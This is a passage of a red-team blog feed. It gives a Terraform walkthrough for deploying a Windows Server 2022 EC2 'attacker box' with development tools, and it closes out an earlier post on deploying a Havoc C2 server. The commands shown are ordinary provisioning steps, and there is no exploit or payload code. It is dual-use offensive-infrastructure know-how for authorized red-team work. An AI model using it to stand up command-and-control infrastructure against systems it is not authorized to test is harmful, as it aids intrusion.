stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Destroying red team infrastructure via Terraform</figcaption></figure></div><pre><code><strong>TL;DR
</strong>In this post we covered how to:
- Deploy an Ubuntu 24.04 EC2 instance using the official Ubuntu Server AMI.
- Deploy and build Havoc C2 team server on the Ubuntu EC2 instance.
- Deploy and build Havoc C2 client on the Kali Linux EC2 instance.
- Enable RDP access to the Kali Linux EC2 instance.
- Executing Havoc C2 client via RDP access to the the Kali Linux EC2 instance.</code></pre><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><p></p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[Red team infrastructure - EC2 Windows Server deployment with Terraform]]></title><description><![CDATA[Learn how to deploy a Windows Server 2022 EC2 instance via Terraform and install additional tools such as WSL, Python, C# etc.]]></description><link>https://www.100daysofredteam.com/p/red-team-infrastructure-ec2-windows-server-deployment-with-terraform</link><guid isPermaLink="false">https://www.100daysofredteam.com/p/red-team-infrastructure-ec2-windows-server-deployment-with-terraform</guid><dc:creator><![CDATA[Uday Mittal]]></dc:creator><pubDate>Fri, 16 May 2025 14:31:06 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/1794616e-b8fd-4c26-80ce-1d190aa4f449_614x614.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In previous posts, we laid out the foundational red team infrastructure in AWS using Terraform. The configuration included the creation of a <a href="https://www.100daysofredteam.com/p/red-team-infrastructure-vpc-creation-with-terraform">Virtual Private Cloud (VPC)</a>, <a href="https://www.100daysofredteam.com/p/red-team-infrastructure-subnet-creation-with-terraform">public and private subnets, route tables, an internet gateway</a>, and a <a href="https://www.100daysofredteam.com/p/red-team-infrastructure-adding-key-based-ssh-access-via-terraform">Kali Linux EC2 instance with SSH access</a>. Building on this setup, lets provision a Windows-based attacker machine with Remote Desktop Protocol (RDP) access. </p><h4>Why we need a Windows attacker box</h4><p>In many red team operations, having access to a Windows-based attacker system is just as important as using a Linux platform like Kali. While Kali provides a vast arsenal of offensive tools, some tasks&#8212;such as developing or testing Windows-specific exploits, working with C# or PowerShell payloads, or compiling .NET malware&#8212;are best suited for a native Windows environment. The ability to run tools that are tightly coupled with Windows APIs or graphical user interfaces over RDP can significantly enhance operational effectiveness. </p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><h4>EC2 instance configuration</h4><p>To set up our Windows attacker machine, we use the Windows Server 2022 Base AMI, a t3.medium instance type (2 vCPU, 4 GB RAM), and allocate 30 GB of storage to avoid low disk space issues later. This machine is attached to the public subnet, enabling us to connect to it via Remote Desktop Protocol (RDP).</p><p>We include a custom <code>user_data</code> script to automate the initial configuration. This script does the following:</p><ul><li><p>Enables WSL (Windows Subsystem for Linux) so that users can install a lightweight Linux environment if needed</p></li><li><p>Installs Chocolatey (a Windows package manager)</p></li><li><p>Uses Chocolatey to install:</p><ul><li><p>Visual Studio Code</p></li><li><p>Python</p></li><li><p>.NET SDK</p></li></ul></li></ul><blockquote><p>&#9888;&#65039; It&#8217;s important to note that SSH key-based access to Windows EC2 is not supported by AWS. Although we can inject a public key into the instance for some purposes, this does not enable standard SSH login as it does on Linux instances. RDP remains the only official remote access method.</p></blockquote><p>I have intentionally kept the installation of tools through Terraform minimal. Terraform is best suited for infrastructure provisioning and not for extensive system configuration. We will handle the more complex software provisioning  later using configuration management tools like Ansible.</p><p>While setting up the Windows EC2 instance, I made a few improvements to the existing Kali machine. </p><ul><li><p>The root volume size for the Kali instance was increased to 30 GB as the original size was insufficient for certain operations. </p></li><li><p>Additionally, the Kali instance now also uses a <code>templatefile()</code>-based user data script to automate post-launch tasks. This script downloads and installs the latest Kali archive keyring and performs a full system update.</p></li></ul><p>We also update the security group to allow SSH access between both EC2 instances.</p><h4>Terraform resources</h4><p>We will be using the <code>ec2_instance</code> module, with a few additions, developed earlier for the Kali machine to deploy the Windows box. The additions include the <code>root_block_device</code> block and the use of templatefile() in <code>user_data</code>. The <code>root_block_device</code> block allows to modify the root volume size of the EC2 instance. The <code>templatefile()</code> provides a dynamic way to inject and execute scripts and custom commands into the EC2 instance.</p><h4>Deploying the EC2 instance</h4><p>Refer to the <a href="https://www.100daysofredteam.com/p/kickstarting-red-team-infrastructure-automation-via-terraform">Kickstarting red team infrastructure automation via Terraform</a> to understand the architecture we are working with.</p><p>Here is the <a href="https://github.com/100daysofredteam/Terraform/tree/main/Red%20Team%20Infra/AWS/EC2-Windows-Server">Terraform Red Team Infrastructure project in 100 Days of Red Team GitHub repository that deploys a Windows Server 2022 EC2 instance in AWS</a>.</p><p>Clone this project to your machine and execute the following commands to deploy the infrastructure:</p><p>&#9888;&#65039;<strong>Reminder: </strong>Switch to the dev Terraform workspace (<code>terraform workspace select dev)</code> before executing following commands. To create dev workspace use, <code>terraform workspace new dev</code>.</p><pre><code><code>terraform init
terraform plan -var-file "secrets.tfvars"
terraform apply -var-file "secrets.tfvars"</code></code></pre><blockquote><p><strong>Reminder</strong>: You must create a <code>secrets.tfvars</code> file manually to hold credentials. Never commit secrets to version control. It contains AWS credentials temporarily stored in plain text, which is not recommended for production environments. Also, we are still using local state files for simplicity. In a real red team deployment, you must use an encrypted remote backend.</p></blockquote><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!gOhW!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb71717ff-7640-4424-aed8-3e7a7136a577_1108x423.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!gOhW!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb71717ff-7640-4424-aed8-3e7a7136a577_1108x423.jpeg 424w, https://substackcdn.com/image/fetch/$s_!gOhW!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb71717ff-7640-4424-aed8-3e7a7136a577_1108x423.jpeg 848w, https://substackcdn.com/image/fetch/$s_!gOhW!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb71717ff-7640-4424-aed8-3e7a7136a577_1108x423.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!gOhW!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb71717ff-7640-4424-aed8-3e7a7136a577_1108x423.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!gOhW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb71717ff-7640-4424-aed8-3e7a7136a577_1108x423.jpeg" width="1108" height="423" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b71717ff-7640-4424-aed8-3e7a7136a577_1108x423.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:423,&quot;width&quot;:1108,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:93011,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/163562200?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb71717ff-7640-4424-aed8-3e7a7136a577_1108x423.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!gOhW!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb71717ff-7640-4424-aed8-3e7a7136a577_1108x423.jpeg 424w, https://substackcdn.com/image/fetch/$s_!gOhW!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb71717ff-7640-4424-aed8-3e7a7136a577_1108x423.jpeg 848w, https://substackcdn.com/image/fetch/$s_!gOhW!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb71717ff-7640-4424-aed8-3e7a7136a577_1108x423.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!gOhW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb71717ff-7640-4424-aed8-3e7a7136a577_1108x423.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Deploying AWS infrastructure via Terraform</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!KWjG!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cdc9701-abcf-407f-ab00-35e912828167_1905x343.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!KWjG!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cdc9701-abcf-407f-ab00-35e912828167_1905x343.jpeg 424w, https://substackcdn.com/image/fetch/$s_!KWjG!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cdc9701-abcf-407f-ab00-35e912828167_1905x343.jpeg 848w, https://substackcdn.com/image/fetch/$s_!KWjG!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cdc9701-abcf-407f-ab00-35e912828167_1905x343.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!KWjG!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cdc9701-abcf-407f-ab00-35e912828167_1905x343.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!KWjG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cdc9701-abcf-407f-ab00-35e912828167_1905x343.jpeg" width="1456" height="262" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0cdc9701-abcf-407f-ab00-35e912828167_1905x343.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:262,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:125593,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/163562200?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cdc9701-abcf-407f-ab00-35e912828167_1905x343.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!KWjG!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cdc9701-abcf-407f-ab00-35e912828167_1905x343.jpeg 424w, https://substackcdn.com/image/fetch/$s_!KWjG!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cdc9701-abcf-407f-ab00-35e912828167_1905x343.jpeg 848w, https://substackcdn.com/image/fetch/$s_!KWjG!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cdc9701-abcf-407f-ab00-35e912828167_1905x343.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!KWjG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cdc9701-abcf-407f-ab00-35e912828167_1905x343.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Windows Server and Kali Linux EC2 instances provisioned via Terraform</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!WaFz!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc82cdd22-bb99-49a0-bfcd-8fa79dd1c350_1917x1022.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!WaFz!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc82cdd22-bb99-49a0-bfcd-8fa79dd1c350_1917x1022.jpeg 424w, https://substackcdn.com/image/fetch/$s_!WaFz!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc82cdd22-bb99-49a0-bfcd-8fa79dd1c350_1917x1022.jpeg 848w, https://substackcdn.com/image/fetch/$s_!WaFz!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc82cdd22-bb99-49a0-bfcd-8fa79dd1c350_1917x1022.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!WaFz!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc82cdd22-bb99-49a0-bfcd-8fa79dd1c350_1917x1022.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!WaFz!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc82cdd22-bb99-49a0-bfcd-8fa79dd1c350_1917x1022.jpeg" width="1456" height="776" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c82cdd22-bb99-49a0-bfcd-8fa79dd1c350_1917x1022.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:776,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:225230,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/163562200?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc82cdd22-bb99-49a0-bfcd-8fa79dd1c350_1917x1022.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!WaFz!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc82cdd22-bb99-49a0-bfcd-8fa79dd1c350_1917x1022.jpeg 424w, https://substackcdn.com/image/fetch/$s_!WaFz!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc82cdd22-bb99-49a0-bfcd-8fa79dd1c350_1917x1022.jpeg 848w, https://substackcdn.com/image/fetch/$s_!WaFz!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc82cdd22-bb99-49a0-bfcd-8fa79dd1c350_1917x1022.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!WaFz!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc82cdd22-bb99-49a0-bfcd-8fa79dd1c350_1917x1022.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Tools installed in the Windows Sever EC2 instance via Terraform</figcaption></figure></div><p>Once done, remember to destroy the infrastructure via following command (or you may incur significant costs):</p><pre><code><code>terraform destroy -var-file "secrets.tfvars"</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!-OYM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F206e3235-cceb-4562-8f1e-062b57ed7085_1067x437.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!-OYM!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F206e3235-cceb-4562-8f1e-062b57ed7085_1067x437.jpeg 424w, https://substackcdn.com/image/fetch/$s_!-OYM!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F206e3235-cceb-4562-8f1e-062b57ed7085_1067x437.jpeg 848w, https://substackcdn.com/image/fetch/$s_!-OYM!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F206e3235-cceb-4562-8f1e-062b57ed7085_1067x437.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!-OYM!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F206e3235-cceb-4562-8f1e-062b57ed7085_1067x437.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!-OYM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F206e3235-cceb-4562-8f1e-062b57ed7085_1067x437.jpeg" width="1067" height="437" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/206e3235-cceb-4562-8f1e-062b57ed7085_1067x437.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:437,&quot;width&quot;:1067,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:199963,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/163562200?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F206e3235-cceb-4562-8f1e-062b57ed7085_1067x437.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!-OYM!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F206e3235-cceb-4562-8f1e-062b57ed7085_1067x437.jpeg 424w, https://substackcdn.com/image/fetch/$s_!-OYM!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F206e3235-cceb-4562-8f1e-062b57ed7085_1067x437.jpeg 848w, https://substackcdn.com/image/fetch/$s_!-OYM!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F206e3235-cceb-4562-8f1e-062b57ed7085_1067x437.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!-OYM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F206e3235-cceb-4562-8f1e-062b57ed7085_1067x437.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Destroying AWS infrastructure via Terraform</figcaption></figure></div><pre><code><strong>TL;DR</strong><code>
</code>In this post we covered how to:
- Deploy a Windows Server 2022 EC2 instance using the official Windows Server AMI.
- Enable and install additional tools such as WSL, VS Code, Python, C# etc. via user_data argument of aws_instance resource.
- Customize the disk size using root_device_block.</code></pre><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[Red team infrastructure - Adding key-based SSH access via Terraform]]></title><description><![CDATA[Learn how to generate SSH key pairs automatically via Terraform and attach them to EC2 instance to enable 